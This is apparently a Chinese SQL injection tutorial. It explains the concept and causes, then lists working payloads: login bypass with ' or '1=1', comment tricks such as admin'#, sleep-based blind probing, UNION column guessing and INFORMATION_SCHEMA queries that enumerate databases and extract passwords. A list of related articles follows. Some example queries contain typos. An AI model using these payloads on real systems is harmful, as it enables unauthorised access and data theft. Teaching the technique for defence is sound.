一、SQL注入概念
  1、sql注入是一种将sql代码添加到输入参数中
  2、传递到sql服务器解析并执行的一种攻击手法
  举例:某个网站的用户名为name=‘admin’。执行时为select name from users where name=‘admin’
    则输入时输入name='' or '1=1'。实则数据库中执行的是select name from users where name='' or '1=1'则为真,用户名有效
二、SQL注入的产生
  1、web开发人员无法保证所有的输入都已经过滤
  2、攻击者利用发送给sql服务器的输入数据构造可执行的sql代码
  3、数据库未做相应的安全配置
  对于1和2两点,攻击者可以利用get请求、post请求、cookie信息、相应的http头信息等进行数据的输入而达到攻击的目的
三、寻找sql注入漏洞
  1、通过构造异常而引发异常,例如:只支持整型的地方输入特殊字符来引起sql异常
  2、通过get请求、post请求、cookie信息、相应的http头信息等查找敏感信息
  3、检测服务器中相应的异常
四、进行sql注入攻击
  1、数字注入。利用数据库中where判断语句中数字输入进行攻击。
    例如:select name from users where name='' or '1=1'。结果永远为true
  2、字符串注入。利用mysql的注释方法进行攻击
    a、#注释的方法。
      用户名的输入框中输入:admin'#,密码任意填写。
      在数据库中执行的是:select * from name='admin'#'and password=xxxxx'。#后面的全部注释掉,判断的时候只判断name=admin
    b、-- hdka方法,两个横杠+空格+任意字符。在执行的时候空格后面的所有被当作注释处理
      用户名的输入框中输入:admin'-- ,密码任意填写。
      在数据库中执行的是:select * from name='admin'-- 'and password=xxxxx'。#后面的全部注释掉,判断的时候只判断name=admin 
 
五、注入步骤

  1、找寻注入点

  输入一个单引号,如果报错说明语法错误则存在注入点
  执行的语句为:select xxx form xxx where x=‘‘’;

  如果单引号没有反应,可尝试盲注
  加时间进行尝试
  X' and sleep(10) --ss'

   sleep中的为时间,10即位10s
  如果浏览器显示在加载中说明可能存在注册点

  2、猜字段

  Sql中数字可以作为字段进行匹配
  因为使用union必须前后字段数量相同
  ' union select 1 -- '
  ' union select 1,2 -- '
  ' union select 1,2,3 -- '
  ...
  如果前面语句中只有两个字段,但是想要获取4个其他表中字段值,使用concat
  例:selcet id,name form user where = 输入框;
  注入:selcet id,name form user where = ‘’ union select username,concat(password,' ',email,' ',address) from users --'

  3、使用union获得其他表信息

  获得当前数据库及用户信息
  ' union select version(),database() --'

  数据库版本信息
  version()  
  获得当前数据库名
  database()  

  查询所有库名
  'union select TABLE_SCHEMA from INFORMATION_SCHEMA.tables --'  
  查询表名
  'union select table_name from INFORMATION_SCHEMA.tables --'
  查询表名及对应的库名
  'union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables --'

  查询数据表中的列名
  'union select colunm_name from INFORMATION_SCHEMA.colunms where table_name='xxx表' --'

SQL注入介绍的更多相关文章

  1. SQL注入 (1) SQL注入类型介绍

    SQL注入 SQL注入介绍与分类 1. 什么是sql注入 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 2. sql注入类型 按照注入 ...

  2. SQL注入科普

    技术交流,安全交友联系渔夫”小白“,微信号(xz116035) SQL注入介绍 SQL注入攻击是最为常见的Web应用安全漏洞之一,国外知名安全组织OWASP针对web应用安全漏洞进行了一个排名,SQL ...

  3. DDOS、CC、sql注入,跨站攻击防御方法

    web安全常见攻击解读--DDos.cc.sql注入.xss.CSRF 一,DDos https://www.cnblogs.com/sochishun/p/7081739.html#4111858 ...

  4. 防止sql注入和sqlmap介绍

    sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...

  5. IIS安全工具UrlScan介绍 ASP.NET 两种超强SQL 注入免费解决方案( 基于IIS,使用免费工具) 批改或隐藏IIS7.5的Server头信息 移除X-Powered-By,MVC,ASP.NET_SessionId 的 HTTP头或者cookie名称

    微软给了我们一个很好的工具用来使IIS安全的运行-------UrlScan,下面是它的配置文件介绍 [options]UseAllowVerbs=1                ; 若为1,则使用 ...

  6. Sql注入基础原理介绍

    说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...

  7. web安全之SQL注入--第一章 课程介绍

    课程介绍1.什么是SQL注入?2.如何寻找SQL注入漏洞?3.如何进行sql注入攻击?4.如何预防sql注入5.课程总结

  8. SQL注入与burPsuit工具介绍

    sql注入原理 原理:用户输入不可控,用户输入导致了sql语义发生了改变 用户输入不可控:网站不能控制普通用户的输入 sql语义发生变化: 动态网页介绍: 网站数据请求 脚本语言:解释类语言,如,后端 ...

  9. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

随机推荐

  1. 测试工具之Jmeter(各部件简单介绍)

    jmeter可以到官网下载: http://jakarta.apache.org/ 下载后解压即可使用,双击如下文件打开Jmeter界面: $JMETER_HOME\apache-jmeter-3.1 ...

  2. (转)Python中操作mysql的pymysql模块详解

    原文:https://www.cnblogs.com/wt11/p/6141225.html https://shockerli.net/post/python3-pymysql/----Python ...

  3. localStorage的存储、获取、删除操作

    var store={ // 保存 save:function(key,value){ localStorage.setItem(key,JSON.stringify(value)); }, // 获 ...

  4. Java:类的构造函数

    类的构造函数   类的构造函数特点: 1. 构造函数也称为构造方法,构造函数名和类名相同.     2. 构造函数不能有返回值,也不能用void声明. 3. 构造函数可以有参数,也可以无参数,在一个类 ...

  5. Java并发编程笔记之LinkedBlockingQueue源码探究

    JDK 中基于链表的阻塞队列 LinkedBlockingQueue 原理剖析,LinkedBlockingQueue 内部是如何使用两个独占锁 ReentrantLock 以及对应的条件变量保证多线 ...

  6. 图像边缘检测——几种图像边缘检测算子的学习及python 实现

    本文学习利用python学习边缘检测的滤波器,首先读入的图片代码如下: import cv2 from pylab import * saber = cv2.imread("construc ...

  7. 深度学习论文翻译解析(一):YOLOv3: An Incremental Improvement

    论文标题: YOLOv3: An Incremental Improvement 论文作者: Joseph Redmon Ali Farhadi YOLO官网:YOLO: Real-Time Obje ...

  8. Vuejs的指令及组件用法总结

    vuejs介绍 Vue.js是当下很火的一个JavaScript MVVM库,它是以数据驱动和组件化的思想构建的.相比于Angular.js,Vue.js提供了更加简洁.更易于理解的API,使得我们能 ...

  9. KM算法及其应用

    在二分图匹配中有最大匹配问题,使用匈牙利算法或者网络流相关算法解决,如果给每条边增加一个权值,求权值和最大的匹配方案就叫做最大权匹配问题.其实之前所说的最大匹配就是权值为1的最大权匹配. 求最大权完备 ...

  10. Umbraco 7 支持Microsoft Word 2013 发布内容

    本文介绍如何使用Microsoft Word 2013 编写或编辑你的Blogs或新闻页面,甚至不需要打开浏览器, 我将分成两部分来讲. 概述 本例实采用的是Umbraco 7.2 版本,首页效果: ...